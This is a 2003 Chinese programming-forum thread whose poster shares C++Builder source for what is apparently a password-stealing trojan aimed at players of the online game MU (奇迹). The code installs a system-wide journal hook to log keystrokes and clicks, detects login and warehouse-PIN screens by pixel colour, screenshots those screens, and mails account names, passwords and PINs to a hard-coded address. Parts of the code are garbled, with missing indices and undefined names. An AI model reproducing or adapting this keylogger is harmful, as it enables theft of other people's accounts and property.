工大后院

 找回密码
 加入后院

扫一扫,访问微社区

QQ登录

只需一步,快速开始

搜索
查看: 1610|回复: 2

一个近似游戏外挂的实例

[复制链接]
发表于 2003-11-3 00:04 | 显示全部楼层 |阅读模式
//Data文件

HHOOK g_hLogHook=NULL;//钩子变量

int State=0;//跟踪状态
String AllResult="";//状态变化记录

Graphics::TBitmap* SectionMap;//区号图片
Graphics::TBitmap* ServerMap;//服务器号图片
String LogMessage="";//登录消息记录
Graphics::TBitmap* LogMap;//登录框图片
String DepotMessage="";//仓库密码输入消息记录
Graphics::TBitmap* DepotMap;//仓库键盘图片
String TempDepotMessage="";//仓库密码输入消息临时记录
Graphics::TBitmap* TempDepotMap;//仓库键盘临时图片

String GameName="奇迹";//游戏名字
String GameFlag="MUMU";//游戏进程标志
//String GameFlag="TApplicationMiracle";//游戏进程标志
String MailTo="[email protected]";//接受邮箱
String ThisFlag="金钻";//邮件附加标志
String TheDateTime="";//启动时间

String ReceiveString="";
bool Waiting=false;

String KeyStr[256]=
{
    "","","","","","","","","[BK]","[TAB]",//9
    "","","[Choose]","[EN]","","","[Shift]","[Ctrl]","","[Pause]",     //19
    "","","","","","","","[ESC]","","",     //29
    "[CL]","","[SP]","[PU]","[PD]","[END]","[HOME]","[LF]","[UF]","[RF]",     //39
    "[DF]","","","","","[INS]","[DEL]","","0","1",     //49
    "2","3","4","5","6","7","8","9","","",     //59
    "","","","","","A","B","C","D","E",     //69
    "F","G","H","I","J","K","L","M","N","O",     //79
    "P","Q","R","S","T","U","V","W","X","Y",     //89
    "Z","[LMiro]","[RMiro]","[Popu]","","[Sleep]","0","1","2","3",     //99
    "4","5","6","7","8","9","*","+","","-",     //109
    ".","/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]",     //119
    "[F9]","[F10]","[F11]","[F12]","","","","","","",     //129
    "","","","","","","","","","",     //139
    "","","","","[NL]","[SL]","","",")","!",     //149
    "@","#","$","%","^","&","*","(","a","b",     //159
    "c","d","e","f","g","h","i","j","k","l",     //169
    "m","n","o","p","q","r","s","t","u","v",     //179
    "w","x","y","z","","",";","=",",","-",     //189
    ".","/","`","","","",":","+","<","_",     //199
    ">","?","~","","","","","","","",     //209
    "","","","","","","","","","[",     //219
    "\\","]","\'","","","","","","","{",     //229
    "|","}","\"","","","","","","","",     //239
    "","","","","","","","","","",     //249
    "","","","","","[WakeUp]"
};

    int ColorDate[11][5][3]=//10个阶段、4个分辨率、5个点、3个因素
    {
        520,109,0,470,178,13023909,537,180,16777207,454,649,0,540,641,0,//选择服务器界面
        360,676,3224625,654,688,3223618,673,488,2696249,347,531,3223618,111,664,0,//连接服务器过渡图片
        360,676,3224625,654,688,3223618,673,488,2696249,347,531,3223618,111,664,0,//登录界面
        347,460,4216687,432,460,2111295,519,460,3162207,601,460,5271423,660,460,3168095,//用户验证过渡图片
        73,87,0,467,3,4347226,551,7,5920090,992,168,5395794,1011,262,1052688,//角色选择界面
        3,638,0,1,764,1792,735,764,985103,1020,722,1054480,1001,630,0,//游戏进行界面1
        347,166,5204095,348,324,10467536,458,424,10541295,675,377,987151,651,166,8372447,//输入仓库密码界面
        484,224,13600911,497,224,13666447,512,223,13666447,525,223,13600911,526,219,13666447,//输入四位密码时图片
        435,103,7309215,560,103,7378864,673,139,2105376,504,126,16777215,523,127,16777215,//仓库密码错误提示图片
        1015,661,3159856,1023,759,985103,267,744,3174287,123,750,0,10,660,1052688,//游戏进行界面2
        1006,630,0,992,709,1792,756,743,5279919,269,743,8435663,12,635,16777215//游戏进行界面3
    };
//cpp文件

//---------------------------------------------------------------------------
//识别游戏进程
bool Validate(int Count)
{
    int TempPlace[5];
    HDC hdc = GetDC(0);
    for(int i=0;i<5;i++)
        TempPlace=GetPixel(hdc,ColorDate[Count][0],ColorDate[Count][1]);
    ReleaseDC(0, hdc);

    int MyTime=0;
    for(int i=0;i<5;i++)
        if(abs(((TempPlace>>16)&255)-((ColorDate[Count][2]>>16)&255))<10
            &&abs(((TempPlace>>8)&255)-((ColorDate[Count][2]>>8)&255))<10
            &&abs((TempPlace&255)-(ColorDate[Count][2]&255))<10)
                MyTime++;
    return MyTime>=4;
}
//---------------------------------------------------------------------------
//系统消息钩子
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
    if(iCode<0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
    if(iCode==HC_ACTION)
    {
        EVENTMSG* pEvt=(EVENTMSG*)lParam;
        String MessageStr;

        if(pEvt->message==WM_KEYDOWN)
        {
            int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值

            bool bShift=(GetKeyState(0x10)<0);
            bool bCapital=(GetKeyState(0x14)&1)==1;

            if(KeyStr[vKey]=="[ESC]"&&bShift)//接到退出指令
            {
                AllResult+="~close ";
                Form1->Timer1->Enabled=false;
                AllResult+="~Data ";

                TStringList* MailText=new TStringList;
                MailText->Add("游戏名字:"+GameName);
                MailText->Add("附加标志:"+ThisFlag);
                MailText->Add("启动时间:"+TheDateTime);
                MailText->Add("游戏分区:"+Coding(SectionMap,254,254,254));
                MailText->Add("服务器号:"+Coding(ServerMap,206,206,206));
                MailText->Add("登录消息:"+LogMessage);
                MailText->Add("登录图片:"+Coding(LogMap,254,238,222));
                MailText->Add("仓库消息:"+DepotMessage);
                MailText->Add("仓库图片:"+Coding(DepotMap,127,119,143,false));
                MailText->Add("状态变化:"+AllResult);

                TStringList* SendText=new TStringList;
                for(int i=1;i<26;i++)
                    SendText->Add(MailOrder);
                for(int i=0;i<MailText->Count;i++)
                    SendText->Add("S: "+MailText->Strings);
                for(int i=26;i<32;i++)
                    SendText->Add(MailOrder);

                SendText->SaveToFile("333.txt");
                delete MailText;
                delete SendText;
                Form1->Close();
            }

            if(vKey>=48 && vKey<=57) //数字键0-9
                if(!bShift)
                    MessageStr=KeyStr[vKey];
                else
                    MessageStr=KeyStr[vKey+100];

            if(vKey>=65 && vKey<=90) //A-Z a-z
                if(bCapital ^ bShift)
                    MessageStr=KeyStr[vKey];
                else
                    MessageStr=KeyStr[vKey+93];


            if(vKey>=186 && vKey<=222) //其它符号键
                if(!bShift)
                    MessageStr=KeyStr[vKey];
                else
                    MessageStr=KeyStr[vKey+10];

            if( (vKey>=96 && vKey<=111) //小键盘
            ||(vKey>=112 && vKey<=123) // 功能键 [F1]-[F12]
            ||(vKey>=8 && vKey<=46)) //方向键
                MessageStr=KeyStr[vKey];
        }

        POINT MyPosition;
        if(pEvt->message==WM_LBUTTONDOWN)
        {
            GetCursorPos(&MyPosition);
            MessageStr="[L]("+String(MyPosition.x)+","+String(MyPosition.y)+")";
        }
        AllResult+=MessageStr;
        if(pEvt->message==WM_KEYDOWN||pEvt->message==WM_LBUTTONDOWN)
        {
            switch(State)
            {
                case 2://已选择服务器号状态;
                {

                    if(pEvt->message==WM_LBUTTONDOWN)
                    {
                        HDC hdc = GetDC(0);
                        BitBlt(ServerMap->Canvas->Handle,0,0,ServerMap->Width,ServerMap->Height,
                            hdc,Screen->Width/2-30,Screen->Height/2-80,SRCCOPY);
                        BitBlt(SectionMap->Canvas->Handle,0,0,SectionMap->Width,SectionMap->Height,
                            hdc,Screen->Width-SectionMap->Width,Screen->Height-SectionMap->Height,SRCCOPY);
                        ReleaseDC(0, hdc);
                    }
                    break;
                }
                case 4://登录状态;
                {
                    LogMessage=LogMessage+MessageStr+" ";
                    if(pEvt->message==WM_LBUTTONDOWN||MessageStr=="[EN]")
                    {
                        HDC hdc = GetDC(0);
                        BitBlt(LogMap->Canvas->Handle,0,0,LogMap->Width,LogMap->Height,
                            hdc,Screen->Width/2-ServerMap->Width/2,Screen->Height/2+100,SRCCOPY);
                        ReleaseDC(0, hdc);
                    }
                    break;
                }
                case 8://输入仓库密码状态;
                {
                    if(pEvt->message==WM_LBUTTONDOWN)
                    {
                        int X=MyPosition.x,Y=MyPosition.y;
                        if((X>356)&&(X<612)&&(Y>245)&&(Y<357))
                        {
                            X-=357;
                            Y-=246;
                            if((X%64<50)&&(Y%61<50))
                                TempDepotMessage+=String(Y/61*5+X/64)+" ";
                        }
                        if((X>548)&&(X<661)&&(Y>381)&&(Y<413))
                        {
                            AllResult+="~7 ";
                            State=7;
                            Form1->Timer1->Enabled=false;
                            Sleep((unsigned int)1000);
                            Form1->Timer1->Enabled=true;
                        }
                        if((X>357)&&(X<408)&&(Y>367)&&(Y<419))
                             TempDepotMessage+="B ";

                    }
                    break;
                }
                case 81://已输入四位仓库密码状态;
                {
                    if(pEvt->message==WM_LBUTTONDOWN)
                    {
                        int X=MyPosition.x,Y=MyPosition.y;
                        if((X>548)&&(X<661)&&(Y>381)&&(Y<413))
                        {
                            AllResult+="~7 ";
                            State=7;
                            Form1->Timer1->Enabled=false;
                            Sleep((unsigned int)1000);
                            Form1->Timer1->Enabled=true;
                        }
                        if((X>424)&&(X<536)&&(Y>381)&&(Y<413))
                        {
                            AllResult+="~82 ";
                            State=82;
                        }
                        if((X>357)&&(X<408)&&(Y>367)&&(Y<419))
                        {
                            TempDepotMessage+="B ";
                            AllResult+="~8 ";
                            State=8;
                        }
                    }
                    break;
                }
            }
        }
    }
    return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
//---------------------------------------------------------------------------
 楼主| 发表于 2003-11-3 08:04 | 显示全部楼层
//跟踪游戏进程
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
    bool BootFlag=false;
    AnsiString Data=\"\";
    HWND hwnd=GetTopWindow(0);
    while (hwnd != 0)
    {
        char szWinCaption[256];
        char szWinClass[256];
        if(!GetWindowText(hwnd, szWinCaption, 256))
            *szWinCaption = 0;
        if(!GetClassName(hwnd,szWinClass,256))
            *szWinClass = 0;
        if((String(szWinClass)+String(szWinCaption))==GameFlag)
            BootFlag=true;
        hwnd=GetNextWindow(hwnd,GW_HWNDNEXT);
    }
    if((!BootFlag)&&(State>0))
    {
        State=0;
        AllResult+=\"~Data \";
        TStringList* MailText=new TStringList;
        MailText->Add(\"游戏名字:\"+GameName);
        MailText->Add(\"附加标志:\"+ThisFlag);
        MailText->Add(\"启动时间:\"+TheDateTime);
        MailText->Add(\"游戏分区:\"+Coding(SectionMap,254,254,254));
        MailText->Add(\"服务器号:\"+Coding(ServerMap,206,206,206));
        MailText->Add(\"登录消息:\"+LogMessage);
        MailText->Add(\"登录图片:\"+Coding(LogMap,254,238,222));
        MailText->Add(\"仓库消息:\"+DepotMessage);
        MailText->Add(\"仓库图片:\"+Coding(DepotMap,127,119,143,false));
        MailText->Add(\"状态变化:\"+AllResult);
        MailText->SaveToFile(\"222.txt\");
        MailText->Add(String(SendMail(MailText)));
        MailText->SaveToFile(\"555.txt\");
        delete MailText;
    }        
    switch(State)
    {
        case 0:
        {
            if(BootFlag)
                State=1;
            break;
        }
        case 1://已启动;
        {
            if(Validate(0))
            {
                AllResult+=\"~2 \";
                State=2;
            }
            break;
        }
        case 2://选择服务器状态;
        {
            if(Validate(1))
            {
                AllResult+=\"~3 \";
                State=3;
            }
            if(Validate(2))
            {
                AllResult+=\"~4 \";
                State=4;
            }
            break;
        }
        case 3://连接服务器状态;
        {
            if(Validate(2))
            {
                AllResult+=\"~4 \";
                State=4;
            }
            break;
        }
        case 4://登录状态;
        {
            bool Jumb=false;
            if(Validate(3))
            {
                AllResult+=\"~5 \";
                State=5;
                Jumb=true;
            }
            if(Validate(4))
            {
                AllResult+=\"~6 \";
                State=6;
                Jumb=true;
            }
            if(Jumb)
            {
                //发出包含区号、服务器号、用户名、密码的邮件;
                TStringList* MailText=new TStringList;
                MailText->Add(\"游戏名字:\"+GameName);
                MailText->Add(\"附加标志:\"+ThisFlag);
                MailText->Add(\"启动时间:\"+TheDateTime);
                MailText->Add(\"游戏分区:\"+Coding(SectionMap,254,254,254));
                MailText->Add(\"服务器号:\"+Coding(ServerMap,206,206,206));
                MailText->Add(\"登录消息:\"+LogMessage);
                MailText->Add(\"登录图片:\"+Coding(LogMap,254,238,222));

             MailText->Add(\"仓库消息:\"+DepotMessage);
             MailText->Add(\"仓库图片:\"+Coding(DepotMap,127,119,143,false));
             MailText->Add(\"状态变化:\"+AllResult);
                MailText->SaveToFile(\"111.txt\");
                MailText->Add(String(SendMail(MailText)));
                MailText->SaveToFile(\"555.txt\");
                delete MailText;
            }
            break;
        }
        case 5://检验密码状态;
        {
            if(Validate(4))
            {
                AllResult+=\"~6 \";
                State=6;
            }
            break;
        }
        case 6://选择角色状态;
        {
            if(Validate(5))
            {
                AllResult+=\"~7 \";
                State=7;
            }
            break;
        }
        case 7://游戏进行状态;
        {
            if(Validate(6))
            {
                TempDepotMessage=\"\";
                AllResult+=\"~8 \";
                State=8;
            }
            break;
        }
        case 8://进入输入仓库密码状态;
        {
            if(Validate(7))
            {
                HDC hdc = GetDC(0);
                BitBlt(TempDepotMap->Canvas->Handle,0,0,342,272,hdc,340,160,SRCCOPY);
                ReleaseDC(0, hdc);

                AllResult+=\"~81 \";
                State=81;
            }
            break;
        }
        case 81://已输入四位仓库密码状态;
        {
            break;
        }
        case 82://判断仓库密码是否错误;
        {
            if(Validate(8))
            {
                AllResult+=\"~82~7 \";
                State=7;
            }
            else if(!Validate(7))
            {
                DepotMessage=TempDepotMessage;
                DepotMap->Canvas->Draw(0,0,TempDepotMap);
                AllResult+=\"~7 \";
                State=7;
            }
            break;
        }
    }
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)
{
    if(g_hLogHook==NULL)//安装日志钩子
        g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);

    TheDateTime=DateToStr(Date())+\" \"+TimeToStr(Time());
    SectionMap = new Graphics::TBitmap;//区号图片
    ServerMap = new Graphics::TBitmap;//服务器号图片
    LogMap = new Graphics::TBitmap;//登录框图片
    DepotMap = new Graphics::TBitmap;//仓库键盘图片
    TempDepotMap = new Graphics::TBitmap;//仓库键盘图片

    SectionMap->Width = 200;
    SectionMap->Height = 100;
    ServerMap->Width = 100;
    ServerMap->Height = 272;
    LogMap->Width = 200;
    LogMap->Height = 172;
    DepotMap->Width = 342;
    DepotMap->Height = 272;
    TempDepotMap->Width = 342;
    TempDepotMap->Height = 272;

}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
    if(g_hLogHook!=NULL)
    {
        UnhookWindowsHookEx(g_hLogHook);
        g_hLogHook=NULL;
    }

    SectionMap->Free();//收回区号图片空间
    ServerMap->Free();//收回服务器号图片空间
    LogMap->Free();//收回登录框图片空间
    DepotMap->Free();//收回仓库键盘图片空间
}
//---------------------------------------------------------------------------
回复

使用道具 举报

发表于 2003-11-6 22:52 | 显示全部楼层
C++builder?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 加入后院

本版积分规则

QQ|Archiver|手机版|小黑屋|广告业务Q|工大后院 ( 粤ICP备10013660号 )

GMT+8, 2024-5-16 19:39

Powered by Discuz! X3.5

Copyright © 2001-2024 Tencent Cloud.

快速回复 返回顶部 返回列表